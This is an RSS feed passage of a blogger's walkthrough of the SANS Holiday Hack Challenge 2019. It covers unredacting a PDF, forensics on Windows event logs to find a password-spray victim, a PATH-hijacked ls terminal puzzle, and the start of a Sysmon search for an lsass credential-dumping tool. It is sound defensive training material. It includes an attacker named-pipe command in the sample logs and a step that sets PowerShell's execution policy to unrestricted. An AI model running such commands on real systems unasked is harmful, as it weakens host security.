<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>SANS Holiday Hack Challenge 2019 | FLRNKS</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/</link><atom:link href="https://flrnks.netlify.app/tutorials/kringlecon2019/index.xml" rel="self" type="application/rss+xml"/><description>SANS Holiday Hack Challenge 2019</description><generator>Source Themes Academic (https://sourcethemes.com/academic/)</generator><language>en-us</language><copyright>© 2024</copyright><lastBuildDate>Sat, 28 Dec 2019 00:00:00 +0000</lastBuildDate><image><url>https://flrnks.netlify.app/tutorials/kringlecon2019/featured.png</url><title>SANS Holiday Hack Challenge 2019</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/</link></image><item><title>Talk to Santa in the Quad</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective0/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective0/</guid><description>&lt;h2 id="greetings-from-santa">Greetings from Santa&lt;/h2>
&lt;p>This is the very beginning of your journey at the &lt;strong>Elf University&lt;/strong>. Your just arrived to the North Pole by train and your starting position looks something like the below:&lt;/p>
&lt;p>&lt;img src="../images/obj0-start.png" alt="Starting position">&lt;/p>
&lt;p>You can interact with the characters by clicking on them (repeatedly clicking will reveal their full message), and you can also interact with certain objects that will either open some command line terminal or a full website in a frame. If you click on Santa a few times he provide the below greeting:&lt;/p>
&lt;blockquote>
&lt;p>Welcome to the North Pole and KringleCon 2!
Last year, KringleCon hosted over 17,500 attendees and my castle got a little crowded.
We moved the event to Elf University (Elf U for short), the North Pole’s largest venue.
Please feel free to explore, watch talks, and enjoy the con!&lt;/p>
&lt;/blockquote>
&lt;p>As you can notice, you are not alone at the North Pole. One of the coolest things of the challenge is that you get to interact with like-minded people through the game interface. Whenever you feel lost, you should ask in the chat for some guidance. Just be sure not to ask for direct solutions, because that would ruin all the fun, wouldn&amp;rsquo;t it? :)&lt;/p>
&lt;p>Another great feature is the personal badge on your avatar, which you can click at any point and will provide useful information on your objectives and accomplishments.&lt;/p>
&lt;p>&lt;img src="../images/obj0-badge.png" alt="Starting position">&lt;/p>
&lt;h2 id="get-outta-here">Get outta here&lt;/h2>
&lt;p>In this zeroth(?!) objective you need to find Santa in another room called &lt;strong>The Quad&lt;/strong> so your main job is to find the way out of the &lt;strong>Train Station&lt;/strong>. Navigation works either via mouse-clicks or via the arrow keys on your keyboard. To go to &lt;strong>The Quad&lt;/strong> simply start going upwards until you find yourself in another space.&lt;/p>
&lt;p>&lt;img src="../images/obj0-quad.png" alt="Santa in The Quad">&lt;/p>
&lt;p>Once you found Santa, who is quite hard to miss, as he stands right in the middle of &lt;strong>The Quad&lt;/strong>, you can click on him a few times to complete Objective 0 and receive further instructions:&lt;/p>
&lt;blockquote>
&lt;p>This is a little embarrassing, but I need your help.
Our KringleCon turtle dove mascots are missing!
They probably just wandered off.
Can you please help find them?
To help you search for them and get acquainted with KringleCon, I’ve created some objectives for you. You can see them in your &amp;gt; badge.
Where&amp;rsquo;s your badge? Oh! It&amp;rsquo;s that big, circle emblem on your chest - give it a tap!
We made them in two flavors - one for our new guests, and one for those who&amp;rsquo;ve attended both KringleCons.
After you find the Turtle Doves and complete objectives 2-5, please come back and let me know.
Not sure where to start? Try hopping around campus and talking to some elves.
If you help my elves with some quicker problems, they&amp;rsquo;ll probably remember clues for the objectives.&lt;/p>
&lt;/blockquote></description></item><item><title>Find the Turtle Doves</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective1/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective1/</guid><description>&lt;h2 id="where-the-doves-at">Where the doves at?&lt;/h2>
&lt;p>After talking with Santa in &lt;strong>The Quad&lt;/strong> you get your new objective: &lt;strong>Find the Turtle Doves&lt;/strong>. They are the official mascot of this year&amp;rsquo;s challenge, and you need to find them before it&amp;rsquo;s too late!&lt;/p>
&lt;p>To be sure, there is not much else to do, except go around and explore until you find them. Once you do find them, be sure to click on the text over their head to make your objective complete! &lt;strong>Hint&lt;/strong>: they are warming up somewhere near a fireplace&amp;hellip; :)&lt;/p>
&lt;p>&lt;img src="../images/obj1-doves.png" alt="Doves by the fireplace">&lt;/p>
&lt;p>You get some valuable further clues one you find them and click them a few times:&lt;/p>
&lt;blockquote>
&lt;p>Hoot Hooot?
&amp;hellip;
Hoot Hooot?
&amp;hellip;
Hoot Hooot?
&amp;hellip;
Hoot Hooot?&lt;/p>
&lt;/blockquote>
&lt;p>But jokes aside, at this point you should be familiar with the inner functioning of the challenge universe at the North Pole. Now you are ready to start working on the real stuff.&lt;/p></description></item><item><title>Unredact Threatening Document</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective2/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective2/</guid><description>&lt;h2 id="un-redact-that-thing">Un-redact that thing!&lt;/h2>
&lt;p>The instructions from the badge:&lt;/p>
&lt;blockquote>
&lt;p>Someone sent a threatening letter to Elf University.
What is the first word in ALL CAPS in the subject line of the letter?
Please find the letter in the Quad.&lt;/p>
&lt;/blockquote>
&lt;p>Much like finding the Turtle Doves, there is not much else to do but to explore the environment with careful attention to details, such as documents lying around &amp;hellip; until you find it:&lt;/p>
&lt;p>&lt;img src="../images/obj2-doc.png" alt="Demanding redacted document">&lt;/p>
&lt;p>When you click the piece of paper in the corner, you will be redirected to an URL which loads a PDF document with some redacted parts.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">https://downloads.elfu.org/LetterToElfUPersonnel.pdf
&lt;/code>&lt;/pre>&lt;/div>&lt;p>In order to read the redacted part, simply hit Ctrl+A or use the mouse to select all text, and copy paste it into some empty text editor, to reveal the full, un-redacted contents.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-text" data-lang="text">Date: February 28, 2019
To the Administration, Faculty, and Staff of Elf University
17 Christmas Tree Lane
North Pole
From: A Concerned and Aggrieved Character
Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters… OR
ELSE!
Attention All Elf University Personnel,
It remains a constant source of frustration that Elf University and the entire operation at the
North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE
you to consider lending your considerable resources and expertise in providing merriment,
cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical
characters.
For centuries, we have expressed our frustration at your lack of willingness to spread your
cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine
holidays and mythical characters that need your direct support year-round.
If you do not accede to our demands, we will be forced to take matters into our own hands.
We do not make this threat lightly. You have less than six months to act demonstrably.
Sincerely,
--A Concerned and Aggrieved Character
Confidential
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now you can submit the string &lt;strong>DEMAND&lt;/strong> in the input field on your personal badge so solve the objective.&lt;/p></description></item><item><title>Windows Log Analysis - Evaluate Attack Outcome</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective3/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective3/</guid><description>&lt;h2 id="find-the-sprayer">Find the sprayer!&lt;/h2>
&lt;p>Instructions from the badge:&lt;/p>
&lt;blockquote>
&lt;p>We&amp;rsquo;re seeing attacks against the Elf U domain!
Using the event log data, identify the user account that the attacker compromised using a password spray attack.
Bushy Evergreen is hanging out in the train station and may be able to help you out.&lt;/p>
&lt;/blockquote>
&lt;p>Link to Event logs: &lt;a href="https://downloads.elfu.org/Security.evtx.zip">https://downloads.elfu.org/Security.evtx.zip&lt;/a> (this file is binary, so a preview is not possible).&lt;/p>
&lt;h2 id="technical-challenge">Technical Challenge&lt;/h2>
&lt;p>If you need further help before solving this objective, head down to the &lt;strong>Train Station&lt;/strong> and talk with &lt;strong>Bushy Evergreen&lt;/strong>. He will be glad to help you, as long as you help him out with an issue with his terminal:&lt;/p>
&lt;p>&lt;img src="../images/obj3-bushy.png" alt="Bushy Evergreen">&lt;/p>
&lt;blockquote>
&lt;p>Hi, I&amp;rsquo;m Bushy Evergreen. Welcome to Elf U!
I&amp;rsquo;m glad you&amp;rsquo;re here. I&amp;rsquo;m the target of a terrible trick.
Pepper Minstix is at it again, sticking me in a text editor.
Pepper is forcing me to learn ed.
Even the hint is ugly. Why can&amp;rsquo;t I just use Gedit?
Please help me just quit the grinchy thing.&lt;/p>
&lt;/blockquote>
&lt;p>Click on the &lt;strong>TERMINAL&lt;/strong> next to him, and solve the presented problem:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash"> ........................................
.&lt;span class="p">;&lt;/span>oooooooooooool&lt;span class="p">;&lt;/span>,,,,,,,,:loooooooooooooll:
.:oooooooooooooc&lt;span class="p">;&lt;/span>,,,,,,,,:ooooooooooooollooo:
.&lt;span class="s1">&amp;#39;;;;;;;;;;;;;;;,&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">;;;;;;;;;;;;;&lt;/span>,&lt;span class="p">;&lt;/span>ooooo:
.&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;;ooooo:
&lt;/span>&lt;span class="s1"> ;oooooooooooool;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&lt;/span>,:loooooooooooolc&lt;span class="p">;&lt;/span>&lt;span class="s1">&amp;#39;,,;ooooo:
&lt;/span>&lt;span class="s1"> .:oooooooooooooc;&amp;#39;&lt;/span>,,,,,,,:ooooooooooooolccoc,,,&lt;span class="p">;&lt;/span>ooooo:
.cooooooooooooo:,&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;,:ooooooooooooolcloooc,,,;ooooo,
&lt;/span>&lt;span class="s1">coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;ooo,
&lt;/span>&lt;span class="s1">coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;l&amp;#39;&lt;/span>
coooooooooooooo,,,,,,,,,&lt;span class="p">;&lt;/span>ooooooooooooooloooooc,,..
coooooooooooooo,,,,,,,,,&lt;span class="p">;&lt;/span>ooooooooooooooloooooc.
coooooooooooooo,,,,,,,,,&lt;span class="p">;&lt;/span>ooooooooooooooloooo:.
coooooooooooooo,,,,,,,,,&lt;span class="p">;&lt;/span>ooooooooooooooloo&lt;span class="p">;&lt;/span>
:llllllllllllll,&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>llllllllllllllc,
Oh, many UNIX tools grow old, but this one&lt;span class="err">&amp;#39;&lt;/span>s showing gray.
That Pepper LOLs and rolls her eyes, sends mocking looks my way.
I need to exit, run - get out! - and celebrate the yule.
Your challenge is to &lt;span class="nb">help&lt;/span> this elf escape this blasted tool.
-Bushy Evergreen
Exit ed.
&lt;span class="m">1100&lt;/span>
q &lt;span class="o">&amp;lt;&amp;lt;&amp;lt;&lt;/span> &lt;span class="nb">type&lt;/span> q to &lt;span class="nb">exit&lt;/span>
Loading, please wait......
You did it! Congratulations!
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, it was a rather simple issue&amp;hellip; However, it was good practice, as you will encountering similar &lt;strong>technical challenges&lt;/strong> down the road. Once you go back and click on Bushy, you will finally get your hints for solving this challenge:&lt;/p>
&lt;blockquote>
&lt;p>Wow, that was much easier than I&amp;rsquo;d thought.
Maybe I don&amp;rsquo;t need a clunky GUI after all!
Have you taken a look at the password spray attack artifacts?
I&amp;rsquo;ll bet that DeepBlueCLI tool is helpful.
You can check it out on GitHub.
It was written by that Eric Conrad.
He lives in Maine - not too far from here!&lt;/p>
&lt;/blockquote>
&lt;p>What he is essentially telling you is to use
&lt;a href="https://github.com/sans-blue-team/DeepBlueCLI" target="_blank" rel="noopener">this&lt;/a> tool, to solve Objective 3. For this purpose you will be most likely needing a windows-based machine (physical or virtual does not matter). You should first clone the given repository from GitHub, and then download the &lt;code>Security.evtx&lt;/code> file provided in the Objective description. Then you should execute the &lt;code>DeepBlue.ps1&lt;/code> script with this file as its first argument. Be sure to start a new PowerShell session as &lt;strong>ADMIN&lt;/strong>!&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">&lt;span class="c1"># command #1 set the execution policy unrestricted so we can call the DeepBlueCLI script&lt;/span>
$ Set-ExecutionPolicy unrestricted
&lt;span class="c1"># command #2&lt;/span>
$ .&lt;span class="se">\D&lt;/span>eepBlue.ps1 .&lt;span class="se">\S&lt;/span>ecurity.evtx
...
Date : 2019. 08. 24. 2:00:20
Log : Security
EventID : &lt;span class="m">4672&lt;/span>
Message : High number of logon failures &lt;span class="k">for&lt;/span> one account
Results : Username: supatree
Total logon failures: &lt;span class="m">76&lt;/span>
...
Date : 2019. 08. 24. 2:00:20
Log : Security
EventID : &lt;span class="m">4672&lt;/span>
Message : Multiple admin logons &lt;span class="k">for&lt;/span> one account
Results : Username: pminstix
User SID Access Count: &lt;span class="m">2&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>Full output can be seen in this PB document: &lt;a href="https://pastebin.com/X5LBNVCy">https://pastebin.com/X5LBNVCy&lt;/a>&lt;/em>&lt;/p>
&lt;p>After the DeepBlueCLI tool finished processing the file, it will produce a ton of output. Your task will be to find the account name and submit it through your personal badge, to see if it is the right solution. When I was trying to solve this challenge, I just scrolled until I found &lt;code>pminstix&lt;/code> and &lt;code>supatree&lt;/code> account names. I first tried the former, which did not work, and thentried to submit the latter, which did work, so objective #3 is now solved!&lt;/p>
&lt;p>One could probably write a more sophisticated script to parse and search for same the answer, but simple ways can sometimes lead to quicker solutions&amp;hellip; :)&lt;/p></description></item><item><title>Windows Log Analysis - Determine Attacker Technique</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective4/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective4/</guid><description>&lt;h2 id="un-redact-that-thing">Un-redact that thing!&lt;/h2>
&lt;p>Instructions from the badge:&lt;/p>
&lt;blockquote>
&lt;p>Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process. For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.&lt;/p>
&lt;/blockquote>
&lt;p>Link to the
&lt;a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon" target="_blank" rel="noopener">SysMon&lt;/a>
&lt;a href="https://downloads.elfu.org/sysmon-data.json.zip" target="_blank" rel="noopener">logs&lt;/a> and below you can see some sample data:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="p">{&lt;/span>
&lt;span class="nt">&amp;#34;command_line&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;cmd.exe /c echo besewi &amp;gt; \\\\.\\pipe\\besewi&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;event_type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;process&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;logon_id&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">999&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;parent_process_name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;services.exe&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;parent_process_path&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;C:\\Windows\\System32\\services.exe&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;pid&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">3812&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;ppid&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">616&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;process_name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;cmd.exe&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;process_path&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;C:\\Windows\\System32\\cmd.exe&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;subtype&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;create&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;timestamp&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">132186397959850000&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;unique_pid&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;{7431d376-deb3-5dd3-0000-001096a84f00}&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;unique_ppid&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;{7431d376-cd7f-5dd3-0000-001010910000}&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;user&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;NT AUTHORITY\\SYSTEM&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;user_domain&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;NT AUTHORITY&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;span class="nt">&amp;#34;user_name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;SYSTEM&amp;#34;&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="technical-challenge">Technical Challenge&lt;/h2>
&lt;p>To get some further hints for solving this challenge, you are told to talk with SugarPlum Mary in Hermey Hall. She is ready to give you some advice, as long as you help her first with an issue she is having with her terminal:&lt;/p>
&lt;p>&lt;img src="../images/obj4-mary.png" alt="SugarPlum Mary">&lt;/p>
&lt;blockquote>
&lt;p>Oh me oh my - I need some help!
I need to review some files in my Linux terminal, but I can&amp;rsquo;t get a file listing.
I know the command is ls, but it&amp;rsquo;s really acting up.
Do you think you could help me out? As you work on this, think about these questions:&lt;/p>
&lt;ol>
&lt;li>Do the words in green have special significance?&lt;/li>
&lt;li>How can I find a file with a specific name?&lt;/li>
&lt;li>What happens if there are multiple executables with the same name in my $PATH?&lt;/li>
&lt;/ol>
&lt;/blockquote>
&lt;p>When you click to view her terminal you get the following information:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">K000K000K000KK0KKKKKXKKKXKKKXKXXXXXNXXXX0kOKKKK0KXKKKKKKK0KKK0KK0KK0KK0KK0KK0KKKKKK
00K000KK0KKKKKKKKKXKKKXKKXXXXXXXXNXXNNXXooNOXKKXKKXKKKXKKKKKKKKKK0KKKKK0KK0KK0KKKKK
KKKKKKKKKKKXKKXXKXXXXXXXXXXXXXNXNNNNNNK0x:xoxOXXXKKXXKXXKKXKKKKKKKKKKKKKKKKKKKKKKKK
K000KK00KKKKKKKKXXKKXXXXNXXXNXXNNXNNNNNWk.ddkkXXXXXKKXKKXKKXKKXKKXKKXK0KK0KK0KKKKKK
00KKKKKKKKKXKKXXKXXXXXNXXXNXXNNNNNNNNWXXk,ldkOKKKXXXXKXKKXKKXKKXKKKKKKKKKK0KK0KK0XK
KKKXKKKXXKXXXXXNXXXNXXNNXNNNNNNNNNXkddk0No,&lt;span class="p">;;&lt;/span>:oKNK0OkOKXXKXKKXKKKKKKKKKKKKK0KK0KKKX
0KK0KKKKKXKKKXXKXNXXXNXXNNXNNNNXxl&lt;span class="p">;&lt;/span>o0NNNo,,,&lt;span class="p">;;;;&lt;/span>KWWWN0dlk0XXKKXKKXKKXKKKKKKKKKKKKKK
KKKKKKKKXKXXXKXXXXXNXXNNXNNNN0o&lt;span class="p">;;&lt;/span>lKNNXXl,,,,,,,,cNNNNNNKc&lt;span class="p">;&lt;/span>oOXKKXKKXKKXKKXKKKKKKKKKK
XKKKXKXXXXXXNXXNNXNNNNNNNNN0l&lt;span class="p">;&lt;/span>,cONNXNXc&lt;span class="s1">&amp;#39;,,,,,,,,,KXXXXXNNl,;oKXKKXKKKKKK0KKKKK0KKKX
&lt;/span>&lt;span class="s1">KKKKKKXKKXXKKXNXXNNXNNNNNXl;,:OKXXXNXc&amp;#39;&amp;#39;&amp;#39;&lt;/span>,,&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;,KKKKKKXXK,,;:OXKKXKKXKKX0KK0KK0KKK
&lt;/span>&lt;span class="s1">KKKKKKKKXKXXXXXNNXXNNNNW0:;,dXXXXXNK:&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&lt;/span>cKKKKKKKXX&lt;span class="p">;&lt;/span>,,,&lt;span class="p">;&lt;/span>0XKKXKKXKKXKKK0KK0KK
XXKXXXXXXXXXXNNNNNNNNNN0&lt;span class="p">;;;&lt;/span>ONXXXXNO,&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&lt;/span>x0KKKKKKXK,&lt;span class="s1">&amp;#39;,,,cXXKKKKKKKKXKKK0KKKX
&lt;/span>&lt;span class="s1">KKKKKKKXKKXXXXNNNNWNNNN:;:KNNXXXXO,&amp;#39;&lt;/span>.&lt;span class="s1">&amp;#39;..&amp;#39;&lt;/span>.&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>..&lt;span class="s1">&amp;#39;:O00KKKKKXd&amp;#39;&amp;#39;,,,,KKXKKXKKKKKKKKKKKKK
&lt;/span>&lt;span class="s1">KKKKKXKKXXXXXXXXNNXNNNx;cXNXXXXKk,&amp;#39;&amp;#39;&amp;#39;&lt;/span>.&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>.&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39;&amp;#39;&lt;/span>.,xO00KKKKKO,&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>,,,,KK0XKKXKKK0KKKKKKKK
XXXXXXXXXKXXXXXXXNNNNNo&lt;span class="p">;&lt;/span>0NXXXKKO,&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;.&amp;#39;&lt;/span>.&lt;span class="s1">&amp;#39;.;dkOO0KKKK0;.&amp;#39;&amp;#39;,,,,XXXKKK0KK0KKKKKKKKX
&lt;/span>&lt;span class="s1">XKKXXKXXXXXXXXXXXNNNNNcoNNXXKKO,&amp;#39;&amp;#39;&amp;#39;&amp;#39;.&amp;#39;&lt;/span>......:dxkOOO000k,..&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39;,,lNXKXKKXKKK0KKKXKKKK
&lt;/span>&lt;span class="s1">KXXKKXXXKXXKXXXXXXXNNNoONNXXX0;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&lt;/span>..&lt;span class="s1">&amp;#39;lkkkkkkxxxd&amp;#39;&lt;/span>...&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39;&amp;#39;&lt;/span>,0N0KKKKKXKKKKKK0XKKK
XXXXXKKXXKXXXXXXXXXXXXOONNNXXl,,&lt;span class="p">;;&lt;/span>,&lt;span class="p">;;;;;;;&lt;/span>d0K00Okddoc,,,,,,,,,xNNOXKKKKKXKKKKKKKXKK
XXXXXXXXXXXXXXXXXXXXXXXONNNXx&lt;span class="p">;;;;;;;;;&lt;/span>,,:xO0KK0Oxdoc,,,,,,,,,oNN0KXXKKXKKXKKKKKKKXK
XKXXKXXXXXXXXXXXXXXXXXXXXWNX:&lt;span class="p">;;;;;;;;;&lt;/span>,cO0KKKK0Okxl,,,,,,,,,oNNK0NXXXXXXXXXKKKKKKKX
XXXXXXXXXXXXXXXXXXXXXXXNNNWNc&lt;span class="p">;;&lt;/span>:&lt;span class="p">;;;;;;&lt;/span>xKXXXXXXKK0x,,,,,,,,,dXNK0NXXXXXXXXXXXKKXKKKK
XKXXXXXXXXXXXXXXXXXXXXNNWWNWd&lt;span class="p">;&lt;/span>:::&lt;span class="p">;;;&lt;/span>:0NNNNNNNNNXO&lt;span class="p">;&lt;/span>,,,,,,,:0NN0XNXNXXXXXXXXXXXKKXKKX
NXXXXXXXXXXXXXXXXXXXXXNNNNNNNl:::&lt;span class="p">;;&lt;/span>:KNNNNNNNNNNO&lt;span class="p">;&lt;/span>,,,,,,&lt;span class="p">;&lt;/span>xNNK0NXNXXNXXXXXXKXXKKKKXKK
XXNNXNNNXXXXXXXXXXXXXNNNNNNNNNkl:&lt;span class="p">;;&lt;/span>xWWNNNNNWWWk&lt;span class="p">;;;;;;;&lt;/span>xNNKKXNXNXXNXXXXXXXXXXXKXKKXK
XXXXXNNNNXNNNNXXXXXXNNNNNNNNNNNNKkolKNNNNNNNNx&lt;span class="p">;;;;;&lt;/span>lkNNXNNNNXXXNXXNXXXXXXXXXXXKKKKX
XXXXXXXXXXXNNNNNNNNNNNNNNNNNNNNNNNNNKXNNNNWNo:clxOXNNNNNNNNXNXXXXXXXXXXXXXXXKKXKKKK
XXXXNXXXNXXXNXXNNNNNWWWWWNNNNNNNNNNNNNNNNNWWNWWNWNNWNNNNNNNNXXXXXXNXXXXXXXXXXKKXKKX
XNXXXXNNXXNXXNNXNXNWWWWWWWWWNNNNNNNNNNNNNWWWWNNNNNNNNNNNNNNNNNNNNNXNXXXXNXXXXXXKXKK
XXXXNXXNNXXXNXXNXXNWWWNNNNNNNNNWWNNNNNNNNWWWWWWNWNNNNNNNNNNNNNNNXXNXNXXXXNXXXXKXKXK
I need to list files in my home/
To check on project logos
But what I see with ls there,
Are quotes from desert hobos...
which piece of my &lt;span class="nb">command&lt;/span> does fail?
I surely cannot find it.
Make straight my path and locate that-
I&lt;span class="s1">&amp;#39;ll praise your skill and sharp wit!
&lt;/span>&lt;span class="s1">Get a listing (ls) of your current directory.
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1">elf@b0b213fcf787:~$ ls
&lt;/span>&lt;span class="s1">This isn&amp;#39;&lt;/span>t the ls you&lt;span class="s1">&amp;#39;re looking for
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1">elf@b0b213fcf787:~$ which ls
&lt;/span>&lt;span class="s1">/usr/local/bin/ls
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1">elf@b0b213fcf787:~$ /bin/ls &amp;lt;&amp;lt; call the original ls directly to solve it
&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span> &lt;span class="err">&amp;#39;&lt;/span> rejected-elfu-logos.txt
Loading, please wait......
You did it! Congratulations!
&lt;/code>&lt;/pre>&lt;/div>&lt;p>A rather simple solution, but don&amp;rsquo;t worry, it will get a bit harder as you progress&amp;hellip; Now, if you go back and click on Mary a few times, she will reveal the hints for solving this objective:&lt;/p>
&lt;blockquote>
&lt;p>Oh there they are! Now I can delete them. Thanks!
Have you tried the Sysmon and EQL challenge?
If you aren&amp;rsquo;t familiar with Sysmon, Carlos Perez has some great info about it.
Haven&amp;rsquo;t heard of the Event Query Language?
Check out some of Ross Wolf&amp;rsquo;s work on EQL or that blog post by Josh Wright in your badge.&lt;/p>
&lt;/blockquote>
&lt;p>Link for EQL: &lt;a href="https://www.endgame.com/our-experts/ross-wolf">https://www.endgame.com/our-experts/ross-wolf&lt;/a>&lt;/p>
&lt;h2 id="main-objective">Main Objective&lt;/h2>
&lt;p>While the provided hint about EQL was interesting, I could not directly use it to solve this challenge. Instead I went on a different route. Since the goal is to identify a tool being used to extract password hashes from lsass.exe, I parsed the JSON file with the Sysmon logs with &lt;code>jq&lt;/code> and then filtered for the &lt;strong>command_line&lt;/strong> looking for .exe files.&lt;/p>
